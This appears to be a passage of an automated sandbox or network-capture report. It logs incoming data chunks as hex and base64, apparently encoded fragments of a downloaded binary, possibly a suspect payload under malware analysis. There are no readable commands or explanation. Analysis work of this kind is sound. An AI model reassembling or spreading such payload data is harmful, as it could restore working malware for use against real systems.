2023-04-20 23:03:01 UTC	4126	IN	Data Raw: 4f 36 55 47 32 77 56 34 4c 68 38 67 70 59 4c 2f 69 56 62 46 6f 43 4e 42 71 31 50 5a 76 75 31 53 62 51 39 43 4a 61 46 56 47 52 6e 46 34 6e 73 51 2f 32 6a 53 35 31 2b 70 4c 2f 30 37 72 49 62 76 6b 57 4c 43 63 6e 6a 44 49 46 73 6e 47 2f 6e 52 36 37 4a 64 63 6f 57 4c 58 77 67 4c 31 78 49 79 72 53 33 44 7a 6b 77 6b 56 74 5a 67 6e 64 4e 50 72 31 76 33 6c 47 6a 53 32 4d 45 6e 30 47 78 41 68 69 68 31 32 2b 72 4c 44 72 68 76 56 36 44 6e 71 59 67 69 56 47 70 50 48 55 6f 47 6e 37 36 77 68 35 65 74 6b 57 47 49 7a 53 50 36 65 67 65 59 54 64 48 4a 58 35 4c 34 6e 71 50 66 55 55 36 78 4a 34 47 69 49 47 79 2b 77 45 71 6e 69 51 68 6d 79 71 55 4f 75 4c 34 67 2b 6c 76 43 73 46 56 54 57 69 48 30 43 35 59 54 34 42 5a 35 2b 6f 61 75 73 56 30 4e 52 46 48 7a 31 72 58 39 65 56 62 Data Ascii: O6UG2wV4Lh8gpYL/iVbFoCNBq1PZvu1SbQ9CJaFVGRnF4nsQ/2jS51+pL/07rIbvkWLCcnjDIFsnG/nR67JdcoWLXwgL1xIyrS3DzkwkVtZgndNPr1v3lGjS2MEn0GxAhih12+rLDrhvV6DnqYgiVGpPHUoGn76wh5etkWGIzSP6egeYTdHJX5L4nqPfUU6xJ4GiIGy+wEqniQhmyqUOuL4g+lvCsFVTWiH0C5YT4BZ5+oausV0NRFHz1rX9eVb
2023-04-20 23:03:01 UTC	4142	IN	Data Raw: 48 74 6f 77 46 2f 79 6c 54 34 59 6b 39 4c 46 53 78 54 72 7a 2b 57 33 4b 77 61 68 73 68 49 55 53 2f 2f 6b 41 73 65 41 48 6a 71 6a 46 6a 53 62 79 37 7a 76 71 34 31 4a 7a 45 36 73 79 38 59 4c 76 4e 46 69 6e 67 76 59 67 2f 71 2b 4e 59 36 46 4b 78 74 47 67 46 6c 38 6a 55 79 35 35 79 52 51 68 51 69 51 73 35 79 56 46 69 44 7a 65 63 66 39 78 71 4f 35 41 73 77 64 39 50 37 2f 44 67 34 6e 75 6e 37 77 37 54 5a 48 6b 48 41 47 61 77 6a 74 7a 43 75 45 36 6d 4f 4f 32 2b 41 4e 54 73 2f 6d 4d 62 52 63 58 6b 49 62 66 42 66 50 4a 64 5a 64 35 47 58 33 31 2b 66 64 2b 6a 7a 59 6d 32 6d 33 68 4e 4c 66 4f 34 47 78 53 4d 75 57 76 58 37 54 54 71 63 74 59 48 64 42 51 4d 39 75 4e 43 73 33 71 43 59 54 50 46 75 77 38 55 62 6f 74 30 38 30 4a 42 75 41 64 53 62 57 33 2b 48 36 2b 65 75 77 Data Ascii: HtowF/ylT4Yk9LFSxTrz+W3KwahshIUS//kAseAHjqjFjSby7zvq41JzE6sy8YLvNFingvYg/q+NY6FKxtGgFl8jUy55yRQhQiQs5yVFiDzecf9xqO5Aswd9P7/Dg4nun7w7TZHkHAGawjtzCuE6mOO2+ANTs/mMbRcXkIbfBfPJdZd5GX31+fd+jzYm2m3hNLfO4GxSMuWvX7TTqctYHdBQM9uNCs3qCYTPFuw8Ubot080JBuAdSbW3+H6+euw
2023-04-20 23:03:01 UTC	4158	IN	Data Raw: 4a 74 59 59 4e 65 50 41 36 78 52 69 38 4c 30 2b 55 62 69 43 34 49 58 2b 51 32 54 6e 41 46 56 6c 6b 6e 63 6f 6e 6e 62 55 38 67 54 34 6e 6e 66 31 73 65 4c 70 72 6a 67 58 45 45 69 73 52 57 6a 6e 2b 37 56 43 31 76 30 53 4a 42 35 51 32 75 53 64 6c 61 63 73 35 61 63 43 45 2b 70 6d 4d 43 54 50 72 41 31 71 6e 5a 35 5a 6f 4a 61 4a 35 5a 41 74 42 46 4a 57 36 61 2b 2b 5a 46 42 6e 4c 59 6d 50 4f 41 53 69 32 49 64 59 63 68 45 79 67 68 4c 7a 4b 73 43 58 55 43 34 67 6a 64 79 4c 51 53 39 38 30 55 69 37 52 2f 61 62 67 53 55 59 4f 33 2f 76 46 4a 54 59 42 34 56 52 4b 63 4f 67 6d 36 6e 75 4a 55 35 54 7a 76 75 4a 58 31 69 63 75 43 59 66 5a 54 61 75 37 72 2f 53 42 49 42 33 4c 31 53 72 45 47 64 7a 59 39 4b 62 47 46 74 48 53 32 4e 4f 66 51 6b 71 57 76 72 59 53 63 64 76 6e 41 61 Data Ascii: JtYYNePA6xRi8L0+UbiC4IX+Q2TnAFVlknconnbU8gT4nnf1seLprjgXEEisRWjn+7VC1v0SJB5Q2uSdlacs5acCE+pmMCTPrA1qnZ5ZoJaJ5ZAtBFJW6a++ZFBnLYmPOASi2IdYchEyghLzKsCXUC4gjdyLQS980Ui7R/abgSUYO3/vFJTYB4VRKcOgm6nuJU5TzvuJX1icuCYfZTau7r/SBIB3L1SrEGdzY9KbGFtHS2NOfQkqWvrYScdvnAa
2023-04-20 23:03:01 UTC	4174	IN	Data Raw: 4d 68 78 6c 44 6f 6b 6f 6d 4a 79 5a 66 65 2f 55 66 32 62 45 70 5a 50 7a 4f 39 37 47 76 4a 70 44 62 56 65 77 30 75 30 55 47 65 34 77 4b 4c 45 73 45 78 64 30 5a 4c 4d 59 65 2f 31 2f 46 56 33 34 34 62 2b 6e 4f 4b 65 71 48 48 63 41 31 65 7a 6b 69 74 2b 47 75 56 65 61 58 2f 50 55 51 32 6d 71 37 67 4a 54 54 6a 47 61 47 66 76 4c 47 32 6a 71 46 57 48 39 48 50 56 69 79 61 48 38 59 2b 4b 74 44 75 74 70 31 63 39 68 37 67 53 76 41 56 74 64 48 63 35 39 6e 64 46 49 65 6d 2f 4e 63 35 42 45 76 78 6b 38 5a 46 61 62 6c 4b 63 32 36 78 6c 42 63 2f 67 4a 7a 4e 56 71 62 61 32 69 47 4a 73 73 53 61 70 6b 6f 6f 4a 71 45 67 49 77 58 7a 51 46 36 73 4e 54 67 57 2b 42 36 64 73 4d 35 73 7a 30 77 36 4e 54 33 32 5a 47 41 5a 45 31 37 58 52 67 4b 58 48 6c 61 32 6b 65 59 6c 55 36 66 6f 5a Data Ascii: MhxlDokomJyZfe/Uf2bEpZPzO97GvJpDbVew0u0UGe4wKLEsExd0ZLMYe/1/FV344b+nOKeqHHcA1ezkit+GuVeaX/PUQ2mq7gJTTjGaGfvLG2jqFWH9HPViyaH8Y+KtDutp1c9h7gSvAVtdHc59ndFIem/Nc5BEvxk8ZFablKc26xlBc/gJzNVqba2iGJssSapkooJqEgIwXzQF6sNTgW+B6dsM5sz0w6NT32ZGAZE17XRgKXHla2keYlU6foZ
2023-04-20 23:03:01 UTC	4190	IN	Data Raw: 52 6f 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 43 72 46 37 4a 67 67 74 46 78 34 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 41 72 42 41 41 4b 73 48 30 48 4b 79 59 6d 42 43 77 57 41 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 71 77 65 79 59 49 4c 52 30 58 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 4b 67 51 41 42 58 6c 39 48 67 49 41 41 62 79 6a 46 77 59 41 45 70 6b 6f 41 67 51 41 42 58 6c 39 49 42 38 43 41 41 47 38 6f 78 59 47 41 42 4b 5a 4b 41 49 47 41 42 4b 53 4b 42 59 43 42 79 73 47 41 42 4b 53 4b 42 63 43 43 53 34 65 42 67 41 53 6c 53 67 43 45 6a 4d 59 58 78 67 45 42 67 41 53 6c 43 67 58 41 67 63 7a Data Ascii: RoDAgAAAAAAAAARAAkwAwAAACr2KyYDKwQACrF7JggtFx4CAAAAAAAAABEACjADAAAAKgArBAAKsH0HKyYmBCwWAwIAAAAAAAAAEQAJMAMAAAAq9ismAysEAAqweyYILR0XAgAAAAAAAAARAAowAwAAKgQABXl9HgIAAbyjFwYAEpkoAgQABXl9IB8CAAG8oxYGABKZKAIGABKSKBYCBysGABKSKBcCCS4eBgASlSgCEjMYXxgEBgASlCgXAgcz
2023-04-20 23:03:01 UTC	4206	IN	Data Raw: 67 41 44 6d 33 4d 57 42 41 41 4b 56 48 73 43 43 67 41 42 79 47 38 4b 41 41 44 4a 63 77 6f 66 41 41 41 41 6f 43 41 45 41 41 70 55 65 77 49 4b 41 41 56 4d 62 78 67 45 41 41 70 55 65 77 49 47 41 41 72 77 62 77 59 41 43 55 73 6f 56 4e 4a 56 51 69 41 45 41 41 70 54 65 77 49 4b 41 41 49 52 62 78 6f 45 41 41 70 54 65 77 49 4b 41 41 44 6f 62 77 6f 41 41 4f 56 7a 47 68 39 4c 48 77 51 41 43 6c 4e 37 41 67 6f 41 41 4f 64 76 43 67 41 44 6d 33 4d 62 42 41 41 4b 55 33 73 43 43 67 41 42 71 57 38 47 41 41 6c 4c 4b 46 54 53 56 62 49 67 42 41 41 4b 55 33 73 43 43 67 41 46 52 32 38 4b 41 41 4f 62 63 78 59 45 41 41 70 54 65 77 49 4b 41 41 48 49 62 77 6f 41 41 4d 6c 7a 43 68 39 56 48 77 51 41 43 6c 4e 37 41 67 6f 41 42 55 78 76 47 41 51 41 43 6c 4e 37 41 67 59 41 43 76 42 76 Data Ascii: gADm3MWBAAKVHsCCgAByG8KAADJcwofAAAAoCAEAApUewIKAAVMbxgEAApUewIGAArwbwYACUsoVNJVQiAEAApTewIKAAIRbxoEAApTewIKAADobwoAAOVzGh9LHwQAClN7AgoAAOdvCgADm3MbBAAKU3sCCgABqW8GAAlLKFTSVbIgBAAKU3sCCgAFR28KAAObcxYEAApTewIKAAHIbwoAAMlzCh9VHwQAClN7AgoABUxvGAQAClN7AgYACvBv
2023-04-20 23:03:01 UTC	4222	IN	Data Raw: 55 41 6f 42 67 63 46 42 41 4d 43 41 43 73 4d 38 69 73 4c 36 53 73 4b 43 53 73 6d 43 53 30 56 61 68 59 6d 44 43 30 56 61 68 59 47 41 41 68 2b 62 77 4d 6d 46 53 30 58 41 51 41 41 47 34 31 61 47 67 59 41 42 7a 35 76 42 67 41 51 30 57 38 46 45 51 41 43 4a 51 41 41 41 45 38 41 44 44 41 54 41 41 41 41 41 41 67 41 54 6a 4d 41 47 77 41 43 41 51 41 41 7a 68 34 41 4d 42 55 41 47 77 41 41 41 41 41 63 41 53 6f 48 33 43 59 4b 41 41 43 72 4b 41 59 61 2f 6e 6f 4b 41 41 42 37 63 77 59 41 43 55 73 6f 56 4e 49 49 48 79 41 51 4d 38 41 4e 4e 74 55 67 42 67 41 4f 31 43 6a 33 4b 77 59 41 44 6b 67 6f 4c 64 34 6d 4a 69 59 6d 42 69 30 61 41 52 49 47 46 41 4c 76 4b 77 6f 44 4b 77 59 41 42 56 5a 76 46 77 51 41 42 6b 4a 2b 42 69 59 50 4c 52 73 47 41 41 58 31 4b 42 63 52 41 41 49 6b Data Ascii: UAoBgcFBAMCACsM8isL6SsKCSsmCS0VahYmDC0VahYGAAh+bwMmFS0XAQAAG41aGgYABz5vBgAQ0W8FEQACJQAAAE8ADDATAAAAAAgATjMAGwACAQAAzh4AMBUAGwAAAAAcASoH3CYKAACrKAYa/noKAAB7cwYACUsoVNIIHyAQM8ANNtUgBgAO1Cj3KwYADkgoLd4mJiYmBi0aARIGFALvKwoDKwYABVZvFwQABkJ+BiYPLRsGAAX1KBcRAAIk
2023-04-20 23:03:01 UTC	4238	IN	Data Raw: 77 49 41 41 70 78 30 42 41 41 4a 71 58 73 43 41 69 59 6d 4c 53 30 56 42 67 41 4d 6b 6e 4d 43 41 41 47 49 64 41 51 41 43 61 6c 37 41 67 49 6d 4a 6a 77 74 48 51 59 41 43 68 42 7a 41 67 6f 41 41 45 6b 6f 41 67 41 41 41 41 41 41 41 41 42 68 41 41 55 77 41 77 41 71 31 43 73 4d 7a 43 73 4c 42 69 75 59 41 77 63 4b 41 41 52 5a 4b 41 49 53 43 67 41 41 56 53 67 47 41 41 52 47 62 77 6f 41 42 46 55 6f 41 68 4a 70 6a 67 63 45 41 41 6d 6c 65 77 49 6d 4b 69 30 62 43 67 41 45 56 43 67 5a 42 79 59 79 4c 52 55 42 41 41 44 75 6a 51 59 41 45 46 41 6f 41 6e 6f 4b 41 41 44 78 63 77 6f 41 41 4a 77 6f 41 51 41 41 6e 34 77 47 42 67 41 4a 53 79 68 55 30 6c 45 4a 49 41 59 41 43 55 73 6f 56 4e 4a 52 64 43 44 33 4b 77 6f 44 4b 79 6f 79 42 67 4d 6d 42 79 30 65 42 67 41 51 55 43 67 43 Data Ascii: wIAApx0BAAJqXsCAiYmLS0VBgAMknMCAAGIdAQACal7AgImJjwtHQYAChBzAgoAAEkoAgAAAAAAAABhAAUwAwAq1CsMzCsLBiuYAwcKAARZKAISCgAAVSgGAARGbwoABFUoAhJpjgcEAAmlewImKi0bCgAEVCgZByYyLRUBAADujQYAEFAoAnoKAADxcwoAAJwoAQAAn4wGBgAJSyhU0lEJIAYACUsoVNJRdCD3KwoDKyoyBgMmBy0eBgAQUCgC
2023-04-20 23:03:01 UTC	4254	IN	Data Raw: 79 77 47 41 42 4b 54 62 77 4d 47 41 41 2b 75 4b 42 49 52 46 67 4d 45 41 41 56 35 66 57 49 59 44 52 45 43 41 41 47 38 6f 78 59 47 41 42 4b 5a 62 77 4d 4e 45 32 4a 66 48 78 39 6c 42 35 51 4a 42 41 41 4a 55 48 34 4e 4b 32 4e 66 48 78 38 48 6c 41 6b 45 41 41 6c 51 66 67 34 79 46 67 63 4c 57 57 4d 4c 48 77 51 41 42 58 68 37 41 67 41 42 76 4b 4d 57 42 67 41 53 6d 57 38 44 48 67 31 66 48 78 39 6a 48 41 51 41 42 58 68 37 41 67 41 42 76 4b 4d 57 42 67 41 53 6d 57 38 44 42 41 41 46 65 48 30 41 41 45 67 41 49 41 49 41 41 62 79 6a 46 67 59 41 45 70 6c 76 41 78 59 78 41 41 42 49 41 43 41 45 41 41 56 34 65 77 49 41 41 62 79 6a 46 67 59 41 45 70 6c 76 41 79 34 72 42 41 41 46 65 48 30 57 41 67 41 42 76 4b 4d 57 42 67 41 53 6d 57 38 44 46 43 38 57 42 41 41 46 65 48 73 43 Data Ascii: ywGABKTbwMGAA+uKBIRFgMEAAV5fWIYDRECAAG8oxYGABKZbwMNE2JfHx9lB5QJBAAJUH4NK2NfHx8HlAkEAAlQfg4yFgcLWWMLHwQABXh7AgABvKMWBgASmW8DHg1fHx9jHAQABXh7AgABvKMWBgASmW8DBAAFeH0AAEgAIAIAAbyjFgYAEplvAxYxAABIACAEAAV4ewIAAbyjFgYAEplvAy4rBAAFeH0WAgABvKMWBgASmW8DFC8WBAAFeHsC
2023-04-20 23:03:01 UTC	4270	IN	Data Raw: 42 59 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 43 52 42 37 4a 67 67 74 47 68 34 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 41 72 42 67 41 50 52 53 6a 77 4b 77 59 41 44 30 4d 6f 44 69 73 6d 4a 67 73 74 47 41 51 43 4a 69 59 4c 4c 52 6b 44 41 67 6f 41 41 4b 6b 6f 41 67 41 41 41 41 41 41 41 41 41 6c 41 41 6b 77 41 77 41 41 4b 67 41 72 42 41 41 4a 44 6e 30 48 4b 79 59 6d 42 43 30 61 57 42 63 42 4b 78 62 6f 4b 77 51 41 43 51 31 39 36 43 73 45 41 41 6b 50 66 51 34 72 45 79 34 58 58 78 63 46 42 51 49 6d 4a 68 4d 74 46 51 51 43 4a 69 59 54 4c 52 6b 44 41 67 41 41 41 41 41 41 41 41 41 36 41 41 6b 77 41 77 41 71 38 43 73 6d 41 79 73 4b 41 41 4e 37 63 77 6f 41 42 4d 4a 76 47 69 59 4f Data Ascii: BYDAgAAAAAAAAARAAkwAwAAACr2KyYDKwQACRB7JggtGh4CAAAAAAAAABEACjADAAAAKgArBgAPRSjwKwYAD0MoDismJgstGAQCJiYLLRkDAgoAAKkoAgAAAAAAAAAlAAkwAwAAKgArBAAJDn0HKyYmBC0aWBcBKxboKwQACQ196CsEAAkPfQ4rEy4XXxcFBQImJhMtFQQCJiYTLRkDAgAAAAAAAAA6AAkwAwAq8CsmAysKAAN7cwoABMJvGiYO
2023-04-20 23:03:01 UTC	4286	IN	Data Raw: 41 42 2b 4b 41 63 48 33 67 51 41 43 48 52 39 46 67 49 4b 41 41 42 36 4b 41 63 4c 42 41 41 49 68 6e 73 43 41 4e 34 4e 43 42 45 44 4c 51 6b 49 45 77 72 65 42 67 41 4f 61 43 67 43 45 69 30 49 51 74 34 4e 52 64 37 2f 2f 2f 39 58 4f 6c 38 45 45 51 50 2b 46 67 59 41 44 6d 41 6f 41 6e 6f 4b 41 41 47 52 63 77 59 41 43 55 73 6f 56 4e 49 4a 36 43 41 45 45 78 59 4d 46 77 59 41 44 6d 67 6f 41 68 73 72 42 42 4d 57 44 42 63 47 41 41 35 6f 4b 41 49 6f 4c 51 59 41 44 6d 6f 6f 42 41 41 49 64 33 73 43 41 67 51 41 43 48 68 39 57 67 51 41 43 48 64 37 41 67 59 43 43 68 63 42 4b 78 59 44 4c 41 59 46 45 78 63 44 4b 77 51 41 43 49 56 39 57 47 70 61 47 41 51 41 43 48 64 37 41 67 51 41 43 49 56 37 41 67 49 62 4c 41 55 52 48 43 30 47 62 69 73 45 45 78 59 4d 46 77 59 41 44 6d 67 6f Data Ascii: AB+KAcH3gQACHR9FgIKAAB6KAcLBAAIhnsCAN4NCBEDLQkIEwreBgAOaCgCEi0IQt4NRd7///9XOl8EEQP+FgYADmAoAnoKAAGRcwYACUsoVNIJ6CAEExYMFwYADmgoAhsrBBMWDBcGAA5oKAIoLQYADmooBAAId3sCAgQACHh9WgQACHd7AgYCChcBKxYDLAYFExcDKwQACIV9WGpaGAQACHd7AgQACIV7AgIbLAURHC0GbisEExYMFwYADmgo
2023-04-20 23:03:01 UTC	4302	IN	Data Raw: 45 6b 6f 41 67 41 41 41 41 41 41 41 41 43 66 41 42 49 77 41 77 41 41 41 43 6f 41 4b 77 6f 41 41 46 51 6f 38 69 73 47 41 41 32 6d 4b 41 34 72 4a 67 6f 74 48 41 49 6d 43 43 77 57 41 68 6f 73 43 67 41 42 59 53 67 4b 41 41 44 70 66 67 51 41 43 44 56 37 41 67 41 41 41 41 41 41 41 41 41 74 41 41 6b 77 41 77 41 41 4b 75 67 72 4a 75 41 72 4a 67 59 72 46 77 6f 41 42 48 35 76 42 67 41 4c 4f 48 4d 43 41 41 4c 41 63 53 59 57 4c 52 30 57 42 41 51 41 43 44 64 37 4a 68 34 74 48 52 34 43 41 41 41 41 41 41 41 41 41 43 6f 41 43 6a 41 44 41 41 41 71 36 43 73 6d 34 43 73 6d 42 69 73 58 43 67 41 45 66 57 38 47 41 41 57 47 63 77 49 41 41 64 70 78 4a 68 59 74 48 42 6b 45 42 41 41 49 4e 6e 73 6d 48 69 30 63 47 77 49 41 41 41 41 41 41 41 41 41 4b 67 41 4b 4d 41 4d 41 41 41 41 71 Data Ascii: EkoAgAAAAAAAACfABIwAwAAACoAKwoAAFQo8isGAA2mKA4rJgotHAImCCwWAhosCgABYSgKAADpfgQACDV7AgAAAAAAAAAtAAkwAwAAKugrJuArJgYrFwoABH5vBgALOHMCAALAcSYWLR0WBAQACDd7Jh4tHR4CAAAAAAAAACoACjADAAAq6Csm4CsmBisXCgAEfW8GAAWGcwIAAdpxJhYtHBkEBAAINnsmHi0cGwIAAAAAAAAAKgAKMAMAAAAq
2023-04-20 23:03:01 UTC	4318	IN	Data Raw: 69 59 6d 43 79 30 64 41 77 49 41 41 41 41 41 41 41 41 41 48 77 41 4a 4d 41 4d 41 41 41 41 71 42 41 41 48 72 6e 30 55 41 67 63 74 42 41 41 48 74 58 73 43 42 41 41 48 72 33 30 57 41 67 51 41 42 36 31 39 41 51 41 41 37 6f 30 57 41 68 4d 74 42 41 41 48 74 48 73 43 42 41 41 48 74 33 30 57 41 53 73 42 2f 68 59 45 41 41 65 30 65 77 4c 7a 4b 77 51 41 42 37 56 39 42 79 73 55 4c 41 4d 43 4a 69 59 49 4c 42 59 57 41 53 73 57 42 43 73 61 42 79 73 45 41 79 38 61 42 41 6f 78 46 67 54 75 4b 77 51 41 42 37 5a 39 42 79 73 61 4c 51 51 41 42 37 52 37 41 67 49 6d 4a 67 30 74 47 78 63 42 4b 77 41 41 45 41 41 67 43 43 73 46 44 67 51 76 41 41 41 51 41 43 41 46 44 68 51 78 46 77 55 4f 47 69 73 58 37 69 73 45 41 41 65 30 66 51 63 72 44 43 30 45 41 41 65 30 65 77 49 43 4a 69 59 4e Data Ascii: iYmCy0dAwIAAAAAAAAAHwAJMAMAAAAqBAAHrn0UAgctBAAHtXsCBAAHr30WAgQAB619AQAA7o0WAhMtBAAHtHsCBAAHt30WASsB/hYEAAe0ewLzKwQAB7V9BysULAMCJiYILBYWASsWBCsaBysEAy8aBAoxFgTuKwQAB7Z9BysaLQQAB7R7AgImJg0tGxcBKwAAEAAgCCsFDgQvAAAQACAFDhQxFwUOGisX7isEAAe0fQcrDC0EAAe0ewICJiYN
2023-04-20 23:03:01 UTC	4334	IN	Data Raw: 78 49 4b 41 41 42 67 4b 41 63 44 45 67 6f 41 41 47 49 6f 57 54 49 66 57 41 6f 41 41 47 46 76 42 67 41 4d 57 43 67 43 43 67 41 41 78 69 67 41 45 67 6f 4b 41 41 52 54 62 77 6f 41 42 46 4a 2b 42 67 41 4d 57 43 67 43 41 78 49 4b 41 41 42 73 4b 41 67 44 45 67 45 41 41 47 67 56 2f 67 4d 53 43 31 6b 4b 41 41 42 66 62 77 6f 41 41 67 35 76 47 51 59 41 42 41 70 76 42 67 41 4d 57 43 67 43 42 78 6b 73 43 67 41 41 76 57 38 4b 41 41 49 4f 62 78 6b 47 41 41 51 4b 62 77 59 41 44 46 67 6f 41 67 74 5a 43 67 41 41 58 32 38 4b 41 41 49 4f 62 78 67 47 41 41 51 4b 62 77 59 41 44 46 67 6f 41 67 63 4d 57 41 6f 41 41 46 39 76 43 67 41 43 44 6d 38 59 42 67 41 45 43 6d 38 47 41 41 78 59 4b 41 49 49 4d 69 77 4b 41 41 43 39 62 77 6f 41 41 67 35 76 47 41 59 41 42 41 70 76 42 67 41 4d Data Ascii: xIKAABgKAcDEgoAAGIoWTIfWAoAAGFvBgAMWCgCCgAAxigAEgoKAARTbwoABFJ+BgAMWCgCAxIKAABsKAgDEgEAAGgV/gMSC1kKAABfbwoAAg5vGQYABApvBgAMWCgCBxksCgAAvW8KAAIObxkGAAQKbwYADFgoAgtZCgAAX28KAAIObxgGAAQKbwYADFgoAgcMWAoAAF9vCgACDm8YBgAECm8GAAxYKAIIMiwKAAC9bwoAAg5vGAYABApvBgAM
2023-04-20 23:03:01 UTC	4350	IN	Data Raw: 79 59 44 4b 77 51 41 43 47 35 37 42 67 41 4c 33 43 67 6d 44 53 30 58 47 51 49 41 41 41 41 41 41 41 41 41 46 67 41 4b 4d 41 4d 41 41 41 41 71 41 43 73 47 41 41 76 62 4b 4f 30 72 42 41 41 49 62 58 33 59 4b 77 6f 52 4b 79 59 6d 44 69 30 56 42 67 49 6d 4a 67 34 74 47 67 6f 41 41 65 55 6f 50 43 50 58 43 69 49 4b 41 41 48 6b 4b 41 4e 44 2b 67 41 41 49 67 41 53 4a 69 59 74 47 67 59 41 43 39 77 6f 41 68 45 41 41 59 49 41 41 41 42 42 41 41 63 77 45 77 41 41 4b 76 45 72 4a 67 4d 72 42 41 41 49 62 58 73 47 41 41 76 63 4b 43 59 4e 4c 52 55 5a 41 67 41 41 41 41 41 41 41 41 41 57 41 41 6f 77 41 77 41 41 41 43 6f 41 4b 77 59 41 43 39 73 6f 37 53 73 45 41 41 68 73 66 64 67 72 43 68 45 72 4a 69 59 4f 4c 52 55 47 41 69 59 6d 44 69 30 61 43 67 41 42 35 53 6a 43 63 41 41 41 Data Ascii: yYDKwQACG57BgAL3CgmDS0XGQIAAAAAAAAAFgAKMAMAAAAqACsGAAvbKO0rBAAIbX3YKwoRKyYmDi0VBgImJg4tGgoAAeUoPCPXCiIKAAHkKAND+gAAIgASJiYtGgYAC9woAhEAAYIAAABBAAcwEwAAKvErJgMrBAAIbXsGAAvcKCYNLRUZAgAAAAAAAAAWAAowAwAAACoAKwYAC9so7SsEAAhsfdgrChErJiYOLRUGAiYmDi0aCgAB5SjCcAAA
2023-04-20 23:03:01 UTC	4366	IN	Data Raw: 53 67 50 4c 41 6f 41 41 2b 45 6f 41 68 63 73 43 67 41 43 76 57 38 43 65 43 30 47 41 41 72 7a 4b 41 4c 77 4b 77 73 44 4b 77 41 41 41 4d 4d 35 42 67 41 4b 38 53 67 43 4a 67 34 74 47 41 59 41 41 73 38 6f 42 53 73 47 41 41 4c 53 4b 4f 55 72 43 52 50 67 4b 77 67 54 7a 79 73 4b 77 53 73 4b 74 69 73 4d 45 53 73 61 4c 51 51 41 42 64 56 37 41 69 59 59 4c 52 67 47 41 41 4c 63 4b 43 59 64 4c 52 6b 47 41 41 4c 58 4b 41 6f 41 41 4d 55 6f 43 67 41 42 78 53 67 41 45 69 59 76 4c 52 6b 4b 41 41 48 48 4b 41 49 4b 41 41 48 47 4b 41 41 53 4a 6a 30 74 47 77 6f 41 41 63 63 6f 41 68 59 57 45 42 49 6d 53 43 30 62 43 67 41 41 62 57 38 44 45 51 41 42 61 77 41 41 41 39 77 41 62 54 41 62 41 41 41 71 41 43 73 4b 41 41 42 31 4b 50 49 72 42 41 41 46 31 58 30 4f 4b 79 59 4b 4c 52 73 43 Data Ascii: SgPLAoAA+EoAhcsCgACvW8CeC0GAArzKALwKwsDKwAAAMM5BgAK8SgCJg4tGAYAAs8oBSsGAALSKOUrCRPgKwgTzysKwSsKtisMESsaLQQABdV7AiYYLRgGAALcKCYdLRkGAALXKAoAAMUoCgABxSgAEiYvLRkKAAHHKAIKAAHGKAASJj0tGwoAAccoAhYWEBImSC0bCgAAbW8DEQABawAAA9wAbTAbAAAqACsKAAB1KPIrBAAF1X0OKyYKLRsC
2023-04-20 23:03:01 UTC	4382	IN	Data Raw: 58 73 43 42 41 41 46 51 33 73 45 41 41 55 7a 65 77 49 43 4a 6a 6f 74 47 51 59 6d 4a 6a 6b 74 48 41 51 41 45 69 59 6d 4f 69 30 62 41 77 41 53 41 67 41 43 47 78 58 2b 41 42 49 52 41 41 46 61 41 41 41 41 57 67 41 48 4d 42 4d 41 4b 67 41 72 42 67 41 4b 4e 69 67 48 4b 79 59 6d 4a 67 55 74 47 51 59 41 43 55 73 6f 56 4e 49 43 51 43 41 47 41 41 70 44 62 77 51 44 42 41 41 46 4d 58 73 43 42 41 41 46 51 6e 73 45 41 41 55 7a 65 77 49 43 41 41 41 41 41 41 41 41 41 44 4d 41 43 54 41 44 41 41 41 71 41 43 73 47 41 41 6f 32 4b 41 63 72 4a 69 59 6d 42 53 30 61 42 67 41 4a 53 79 68 55 30 67 4b 32 49 41 59 41 43 6e 4e 76 41 77 51 41 42 54 46 37 41 67 51 41 42 55 46 37 42 41 41 46 4d 33 73 43 41 67 41 41 41 41 41 41 41 41 41 79 41 41 6b 77 41 77 41 71 41 43 73 47 41 41 6f 32 Data Ascii: XsCBAAFQ3sEAAUzewICJjotGQYmJjktHAQAEiYmOi0bAwASAgACGxX+ABIRAAFaAAAAWgAHMBMAKgArBgAKNigHKyYmJgUtGQYACUsoVNICQCAGAApDbwQDBAAFMXsCBAAFQnsEAAUzewICAAAAAAAAADMACTADAAAqACsGAAo2KAcrJiYmBS0aBgAJSyhU0gK2IAYACnNvAwQABTF7AgQABUF7BAAFM3sCAgAAAAAAAAAyAAkwAwAqACsGAAo2
2023-04-20 23:03:01 UTC	4398	IN	Data Raw: 41 4e 36 62 77 6f 41 41 33 6b 6f 42 52 45 6d 43 67 41 44 46 43 6a 52 43 41 55 52 44 47 45 48 59 51 59 61 78 65 74 58 49 43 59 4b 41 41 4d 55 4b 4e 45 49 43 67 41 44 46 43 6a 52 59 78 41 66 43 41 55 52 44 46 6b 48 57 51 62 45 2f 56 52 65 49 43 59 4b 41 41 4d 55 4b 4e 46 6a 45 42 38 49 43 67 41 44 46 43 6a 52 43 41 55 52 44 46 67 48 59 59 55 78 46 4c 63 67 42 69 59 4b 41 41 4d 55 4b 4e 45 49 43 67 41 44 46 43 6a 52 59 78 41 66 43 41 55 52 44 47 45 48 57 51 62 45 2f 78 52 57 49 43 59 4b 41 41 4d 55 4b 4e 45 49 43 67 41 44 46 43 6a 52 59 78 41 66 43 41 55 52 44 46 67 48 59 51 61 46 4e 42 53 33 49 43 59 4b 41 41 4d 55 4b 4e 45 49 43 67 41 44 46 43 6a 52 59 78 41 66 43 41 55 52 44 46 6b 48 57 51 62 46 41 6c 52 67 49 43 59 41 41 41 45 47 4f 68 77 4b 41 41 4a 56 Data Ascii: AN6bwoAA3koBREmCgADFCjRCAURDGEHYQYaxetXICYKAAMUKNEICgADFCjRYxAfCAURDFkHWQbE/VReICYKAAMUKNFjEB8ICgADFCjRCAURDFgHYYUxFLcgBiYKAAMUKNEICgADFCjRYxAfCAURDGEHWQbE/xRWICYKAAMUKNEICgADFCjRYxAfCAURDFgHYQaFNBS3ICYKAAMUKNEICgADFCjRYxAfCAURDFkHWQbFAlRgICYAAAEGOhwKAAJV
